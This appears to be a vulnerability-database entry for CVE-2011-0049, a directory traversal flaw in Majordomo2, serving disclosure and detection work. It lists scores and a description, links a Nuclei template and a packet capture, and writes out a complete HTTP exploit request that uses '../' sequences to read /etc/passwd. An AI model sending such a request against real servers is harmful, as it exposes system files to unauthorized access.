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CVE-2011-0049: Majordomo2 - SMTP/HTTP Directory Traversal

TitleMajordomo2 - SMTP/HTTP Directory Traversal
Authorpikpikcu
SeverityMedium
ImpactThis vulnerability can lead to unauthorized access to sensitive files and data on the server.
RemediationUpgrade to the latest version to mitigate this vulnerability.
CVSS Score5
EPSS Score0.91269
CVE IDCVE-2011-0049
CWE IDCWE-22
Tags cve cve2011 majordomo2 lfi edb mj2 vuln

🔍 Vulnerability Description

A directory traversal vulnerability in the _list_file_get function in lib/Majordomo.pm in Majordomo 2 before 20110131 allows remote attackers to read arbitrary files via .. (dot dot) sequences in the help command, as demonstrated using (1) a crafted email and (2) cgi-bin/mj_wwwusr in the web interface.

🌐 HTTP Request

GET /cgi-bin/mj_wwwusr?passw&list=GLOBAL&user&func=help&extra=/../../../../../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2011/CVE-2011-0049.yaml

🦈 Packet Capture: ⬇️ Download cve-2011-0049.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A